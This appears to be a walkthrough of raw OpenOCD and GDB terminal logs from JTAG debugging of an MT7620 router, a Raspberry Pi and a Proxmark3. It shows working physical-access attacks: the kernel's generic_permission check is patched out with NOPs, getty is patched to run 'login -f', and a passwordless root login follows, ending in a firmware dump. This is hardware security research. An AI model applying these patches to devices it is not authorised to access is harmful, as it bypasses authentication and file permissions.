>>> openocd -f tigard-jtag.cfg -f mt7620n.cfgOpen On-Chip Debugger 0.11.0Licensed under GNU GPL v2For bug reports, readhttp://openocd.org/doc/doxygen/bugs.htmljtagmt7620.cpuInfo : Listening on port 6666 for tcl connectionsInfo : Listening on port 4444 for telnet connectionsInfo : clock speed 2000 kHzInfo : JTAG tap: mt7620.cpu tap/device found: 0x1635224f (mfg: 0x127 (MIPS Technologies), part: 0x6352, ver: 0x1)
Info : starting gdb server for mt7620.cpu on 3333Info : Listening on port 3333 for gdb connections
$gdb-multiarchGNU gdb (Debian 10.1-1.7) 10.1.90.20210103-gitCopyright (C) 2021 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type"show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type"show configuration" for configuration details.For bug reporting instructions, please see:<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".Type"apropos word" to search for commands related to "word".(gdb) set architecture mipsThe target architecture is set to "mips".(gdb) target extended-remote localhost:3333Remote debugging using localhost:3333warning: No executable has been specified and target does not supportdetermining executable automatically. Try using the "file" command.0xff200208 in ?? ()
(gdb) res(gdb) i rzero at v0 v1 a0 a1 a2 a3R0 00000000 00000001 ec4e4000 000000c0 00026cbb 0002ee00 00000000 0000039b t0 t1 t2 t3 t4 t5 t6 t7R8 0000002e 676e6974 206e6920 65732033 00000000 777eb3a0 00000000 64692065 s0 s1 s2 s3 s4 s5 s6 s7R16 00000960 00000001 00000a28 80340000 00000047 80340000 80340000 000003e8 t8 t9 k0 k1 gp sp s8 raR24 00000003 8017ff5c 802f9c18 802f9c18 802f8000 802f9c80 83fe0000 8002407c status lo hi badvaddr cause pc1100a400 11aa0000 0000039b ff2001fc 50808000 8013e560 fcsr fir00000000 00000000 (gdb) contContinuing.^CProgram received signal SIGINT, Interrupt.0x8013e560 in ?? (warning: GDB can't find the start of the function at 0x8013e560.
GDB is unable to find the start of the function at 0x8013e560
and thus can't determine the size of that function's stack frame.
This means that GDB may be unable to access that stack frame, or
the frames below it.
This problem is most likely caused by an invalid program counter or
stack pointer.
However, if you think GDB should simply search farther back
from 0x8013e560 for code which looks like the beginning of a
function, you can increase the range of the search using the `set
heuristic-fence-post' command.
)
(gdb) x/10w $pc0x8013e560: 343998463 612696063 65011720 00x8013e570: 1006796848 -1941722000 1006764038 8767768920x8013e580: 6422553 4114(gdb) x/10i $pc=>0x8013e560: bnez a0,0x8013e5600x8013e564: addiu a0,a0,-10x8013e568: jr ra0x8013e56c: nop0x8013e570: lui v0,0x80300x8013e574: lw v1,-21392(v0)
0x8013e578: lui v0,0x60x8013e57c: ori v0,v0,0x8dbc0x8013e580: multu v1,v00x8013e584: mflo v0
telnet localhost 4444#Halt CPU> halt
# Read Memory at Address> mdw 0x8020dcc8# Write data to memory> mww 0x8020dcc8 0xffffffff# Read Memory at Address> mdw 0x8020dcc8# Create Watch Point and resume CPU execution> wp 0x8020dcc8 4;resume# When the Watch Point is triggered remove the watchpoint# Step to the next instruction so that the data is written.# Show the Written data> rwp 0x8020dcc8;step;mdw 0x8020dcc8# Write the new boot args to the memory address> mww 0x8020dcc8 0x324d2031# Check that it is written correctly> mdw 0x8020dcc8# Resume the CPU> resume
We are patching kernel memory so that the generic_permission function that checks if a user has permissions to readn or write a file does not return a Access Error. This allow us to operate as root with out the permissions
Find the generic_permission function:
user@OpenWrt:~$ cat /proc/kallsyms|grep generic_permission800a8a38 T generic_permission
GDB memory info:
(gdb) x/200i 0x800a8a38[...]0x800a8ad4: li v0,-130x800a8ad8: andi s2,s2,0x10x800a8adc: beqz s2,0x800a8b000x800a8ae0: andi v0,v0,0x490x800a8ae4: bnez v0,0x800a8b040x800a8ae8: move a0,s00x800a8aec: li v0,4[...]0x800a8b2c: li v0,-130x800a8b30: lw ra,36(sp)
0x800a8b34: lw s3,32(sp)
0x800a8b38: lw s2,28(sp)
0x800a8b3c: lw s1,24(sp)
0x800a8b40: lw s0,20(sp)
0x800a8b44: jr ra
Break on E_Access (-13) Load instructions:
# 0x800a8ad4: li v0,-13# 0x800a8afc: li v0,-13# 0x800a8b2c: li v0,-13(gdb) break *0x800a8ad4warning: Breakpoint address adjusted from 0xffffffff800a8ad4 to 0xffffffff800a8ad0.Breakpoint 2 at 0x800a8ad0(gdb) break *0x800a8afcwarning: Breakpoint address adjusted from 0xffffffff800a8afc to 0xffffffff800a8af8.Breakpoint 3 at 0x800a8af8(gdb) break *0x800a8b2cBreakpoint 4 at 0x800a8b2c
Trigger the E_Access Error:
user@OpenWrt:~$ cat /etc/shadow
Modify the generic_permission function Memory:
telnet localhost 4444Trying ::1...Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.Open On-Chip Debuggeraccepting'gdb' connection on tcp/3333MIPS32 with MIPS16 support implementedtarget halted in MIPS32 mode due to debug-request, pc: 0x80011090# 0x00000000 is NOP in MIPS> mww 0x800a8ad4 0x00000000> mww 0x800a8b2c 0x00000000
We are patching kernel memory so that the generic_permission function that checks if a user has permissions to readn or write a file does not return a Access Error. This allow us to operate as root with out the permissions
Find the generic_permission function:
pi@raspberrypi:~$ sudo cat /proc/kallsyms|grep generic_permissionc0136dd4 T generic_permissionc0712514 R __ksymtab_generic_permissionc071dc94 r __kcrctab_generic_permissionc0729124 r __kstrtab_generic_permission
Use GDB to find the -13:
$gdb-multiarchGNU gdb (Debian 10.1-1.7) 10.1.90.20210103-gitCopyright (C) 2021 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type"show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type"show configuration" for configuration details.For bug reporting instructions, please see:<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".Type"apropos word" to search for commands related to "word".(gdb) set architecture armv7The target architecture is set to "armv7".(gdb) target extended-remote localhost:3333Remote debugging using localhost:3333(gdb) x/200i 0xc0136dd40xc0136dd4: mov r12, sp0xc0136dd8: push {r3, r4, r5, r6, r7, r8, r11, r12, lr, pc}0xc0136ddc: sub r11, r12, #40xc0136de0: push {lr};(str lr, [sp, #-4]!) 0xc0136de4: ldmfd sp!, {lr}
0xc0136de8: mov r3, sp
0xc0136dec: bic r3, r3, #8128 ; 0x1fc0 0xc0136df0: bic r3, r3, #63 ; 0x3f[...]
0xc0136eb0: mvn r0, #12 0xc0136eb4: ldm sp, {r3, r4, r5, r6, r7, r8, r11, sp, pc}
telnet localhost 4444Trying ::1...Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.Open On-Chip Debuggeraccepting'gdb' connection on tcp/3333MIPS32 with MIPS16 support implementedtarget halted in MIPS32 mode due to debug-request, pc: 0x80011090# 0x00f020e3 is NOP in ARM# There is a bug with writing more than one byte at a time> mwb 0xc0136eb0 0x00> mwb 0xc0136eb1 0xf0> mwb 0xc0136eb2 0x20> mwb 0xc0136eb3 0xe3> mdw 0xc0136eb00xc0136eb0: e320f000
We are patching the getty process to make it run login -f username instead of login -- username. The -f flag is used to skip login authentication. This allows someone with a login prompt to login without knowing the password.
$python ocd_mem_find_replace.py -f"2d66 0000 2d2d 0000" -r"2d66 0000 2d66 0000" -o 0x6b40 -s 0xd0000000{5:'0x66'}
Starting Scanning Range 0xd0000000 - 0xd1000000Starting Scanning Range 0xd1000000 - 0xd2000000Starting Scanning Range 0xd2000000 - 0xd3000000Starting Scanning Range 0xd3000000 - 0xd4000000Starting Scanning Range 0xd4000000 - 0xd5000000Starting Scanning Range 0xd5000000 - 0xd6000000Starting Scanning Range 0xd6000000 - 0xd7000000Found Partial Match at 0xd6cf9b40: 0000662dFound Partial Match at 0xd6cf9b44: 00002d2dFound Match at 0xd6cf9b40: ['0000662d', '00002d2d']Paching Address 0xd6cf9b40: 00002d2d ->2d66 0000 2d66 0000mwb phys 0xD6CF9B45 0x66Resuming the Process
Login without Password:
Raspbian GNU/Linux 8 raspberrypi ttyAMA0raspberrypi login: rootLast login: Sun Jul 24 15:29:32 UTC 2016 on ttyAMA0Linux raspberrypi 4.4.13+ #894 Mon Jun 13 12:43:26 BST 2016 armv6lThe programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.root@raspberrypi:~#
>>> sudo openocd -f /usr/share/openocd/scripts/interface/ftdi/tigard-jtag.cfg Open On-Chip Debugger 0.11.0-rc1+dev-00015-gd4bf20756-dirty (2021-01-13-00:58)
Licensed under GNU GPL v2For bug reports, readhttp://openocd.org/doc/doxygen/bugs.htmljtagInfo : Listening on port 6666 for tcl connectionsInfo : Listening on port 4444 for telnet connectionsInfo : clock speed 2000 kHzWarn : There are no enabled taps. AUTO PROBING MIGHT NOT WORK!!Info : JTAG tap: auto0.tap tap/device found: 0x4ba00477 (mfg: 0x23b (ARM Ltd), part: 0xba00, ver: 0x4)
Warn : AUTO auto0.tap - use "jtag newtap auto0 tap -irlen 4 -expected-id 0x4ba00477"Warn : gdb services need one or more targets defined
Connecting to the Telnet Console:
>>> telnet localhost 4444Trying ::1...Connection failed: Connection refusedTrying 127.0.0.1...Connected to localhost.Escape character is '^]'.Open On-Chip Debugger> reset haltCan't assert SRST: nSRST signal is not defined
JTAG scan chain interrogation failed: all ones
Check JTAG interface, timings, target power, etc.
Trying to use configured scan chain anyway...
sam7x512.cpu: IR capture error; saw 0x0f not 0x01
Bypassing JTAG setup events due to errors
Can't assert SRST: nSRST signal is not definedThumbEE -- incomplete supporttarget halted in ThumbEE state due to watchpoint, current mode: Systemcpsr: 0xffffffff pc: 0xfffffff9srst pulls trst - can not reset into halted mode. Issuing halt after reset.NOTE! DCC downloads have not been enabled, defaulting to slow memory writes. Type 'help dcc'.NOTE! Severe performance degradation without fast memory access enabled. Type 'help fast'.> dump_image dump_proxmark3.pin 0x100000 0x100000dumped 1048576 bytes in 15.351289s (66.704 KiB/s)
> reg
> flash info 0> flash list> flash banks
CPU Commands:
#Halt the CPU> reset halt#Show Registers> reg
#Resume the CPU> reset run